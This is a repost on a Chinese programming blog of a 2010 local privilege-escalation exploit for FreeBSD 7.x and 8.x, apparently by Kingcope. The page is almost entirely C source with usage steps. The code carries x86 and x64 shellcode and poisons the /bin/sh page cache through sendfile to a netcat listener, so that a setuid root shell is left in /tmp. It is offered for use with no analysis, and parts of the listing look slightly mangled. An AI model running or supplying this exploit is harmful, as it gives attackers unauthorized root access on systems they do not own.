且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

FreeBSD 8.*, 7.* Local root Exploit

更新时间:2022-09-18 12:03:53

 


  1. /* 
  2.  freebsd mbufs() sendfile cache poisoning-priv escalation  
  3.  x86/x64 local root xpl v2 by Kingcope 
  4.  2010 
  5.  -- 
  6.  tested on: 8.1-RC1, 8.0-RELEASE, 7.3-RELEASE and 
  7.  7.2-RELEASE-p8 (xd personally did 7.2 test) 
  8.  poisons /bin/sh to contain shellcode which does this... 
  9.  ' 
  10.  chmod a+s /tmp/sh 
  11.  chown root /tmp/sh 
  12.  execve /tmp/sh2 
  13.  ' 
  14.  how to use ths is VERY important it is NOT your standard type, 
  15.  DONT start a listener as normal...let this do its shit.. 
  16.  and then again, there is a MUCH simpler way you could redo 
  17.  this exploit but, thats for you to find ;) -xd 
  18.   
  19.  box 1 (TARGET): 
  20.  $ cp /bin/sh /tmp/sh 
  21.  $ cp /bin/sh /tmp/sh2 
  22.  $ gcc cache.c -o cache 
  23.   
  24.  box 2 (LISTENER): 
  25.  $ nc -l 7030 
  26.   
  27.  on box 1 do: 
  28.  for i386 type: 
  29.  $ ./cache 1 
  30.  for amd64 type: 
  31.  $ ./cache 2 
  32.   
  33.  ok now lets hope this worked and injected the shellcode,should, 
  34.  /bin/sh should be execed by the system as root in ~5 mins if lucky :) 
  35.   
  36. NOW DO: 
  37.  $ /tmp/sh 
  38. AND cleanup: 
  39.  # cp -f /tmp/sh2 /bin/sh 
  40.  enjoy the root shell! 
  41. */ 
  42.   
  43. // this juarez is now private on #darknet 
  44. // http://www.***.com/watch?v=JtgInqNNpCI 
  45. // http://www.***.com/watch?v=IdbRWrY4QBI 
  46.   
  47. #include <sys/types.h>  
  48. #include <sys/socket.h> 
  49. #include <sys/uio.h> 
  50. #include <fcntl.h> 
  51. #include <netinet/in.h> 
  52. #include <sys/select.h> 
  53. #include <sys/stat.h> 
  54. #include <strings.h> 
  55. #include <stdio.h>  
  56. #include <string.h> 
  57. #include <err.h> 
  58.   
  59. main (int argc, char *argv[]) { 
  60.   int s, f, k2; 
  61.   struct sockaddr_in addr; 
  62.   int flags; 
  63.   
  64.   char str32[]= 
  65.   "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3" 
  66.   "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f" 
  67.   "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d" 
  68.   "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"
  69.   
  70.   char str64[]= 
  71.   "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68" 
  72.   "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" 
  73.   "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0" 
  74.   "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89" 
  75.   "\xe7\x57\x52\x48\x89\xe6\x0f\x05"
  76.   
  77.   char buf[10000]; 
  78.   char *p; 
  79.   struct stat sb; 
  80.   int n; 
  81.   fd_set wset;    
  82.   int64_t size;   
  83.   off_t sbytes;   
  84.   off_t sent = 0; 
  85.   int chunk;    
  86.   int arch = 3; 
  87.   
  88.   if (argc != 2) { 
  89.     printf("[+] Define architecture i386 or amd64 (1/2)\n"); 
  90.     return
  91.   
  92.   } 
  93.   
  94.   if (strcmp(argv[1], "1") == 0) 
  95.   arch=1; 
  96.   if (strcmp(argv[1], "2") == 0) 
  97.   arch=2; 
  98.   
  99.   if (arch == 3) { 
  100.     printf("[+] Define architecture i386 or amd64 (1/2)\n"); 
  101.     return
  102.   } 
  103.   
  104.   s = socket(AF_INET, SOCK_STREAM, 0); 
  105.   bzero(&addr, sizeof(addr)); 
  106.   addr.sin_family = AF_INET;   
  107.   addr.sin_port = htons(7030); 
  108.   addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  109.   n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); 
  110.   
  111.   if (n < 0) 
  112.   warn ("[-] Failed to connect"); 
  113.   f = open("/bin/sh", O_RDONLY); 
  114.   if (f<0) 
  115.   warn("[-] Failed to open file"); 
  116.   n = fstat(f, &sb); 
  117.   if (n<0) 
  118.   warn("[-] fstat failed"); 
  119.   
  120.   size = sb.st_size; 
  121.   chunk = 0; 
  122.   flags = fcntl(f, F_GETFL); 
  123.   flags |= O_NONBLOCK; 
  124.   fcntl(f, F_SETFL, flags); 
  125.   while (size > 0) { 
  126.     FD_ZERO(&wset);   
  127.     FD_SET(s, &wset); 
  128.     n = select(f+1, NULL, &wset, NULL, NULL); 
  129.     if (n < 0) 
  130.     continue
  131.       if (chunk > 0) { 
  132.       sbytes = 0;    
  133.       if (arch == 1) 
  134.       n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); 
  135.       if (arch == 2) 
  136.       n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0); 
  137.   
  138.       if (n < 0) 
  139.       continue;  
  140.       chunk -= sbytes; 
  141.       size -= sbytes;  
  142.       sent += sbytes;  
  143.       continue
  144.     } 
  145.     chunk = 2048; 
  146.     memset(buf, '\0'sizeof buf); 
  147.     if (arch == 1) { 
  148.       for (k2=0;k2<256;k2++) { 
  149.         buf[k2] = 0x90; 
  150.       } 
  151.       p = buf; 
  152.       p = p + k2; 
  153.       memcpy(p, str32, sizeof str32); 
  154.       n = k2 + sizeof str32; 
  155.       p = buf; 
  156.     } 
  157.     if (arch == 2) { 
  158.       for (k2=0;k2<100;k2++) { 
  159.         buf[k2] = 0x90; 
  160.       } 
  161.       p = buf; 
  162.       p = p + k2; 
  163.       memcpy(p, str64, sizeof str64); 
  164.       n = k2 + sizeof str64; 
  165.       p = buf; 
  166.     } 
  167.     write(s, p, n); 
  168.   } 











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/550770,如需转载请自行联系原作者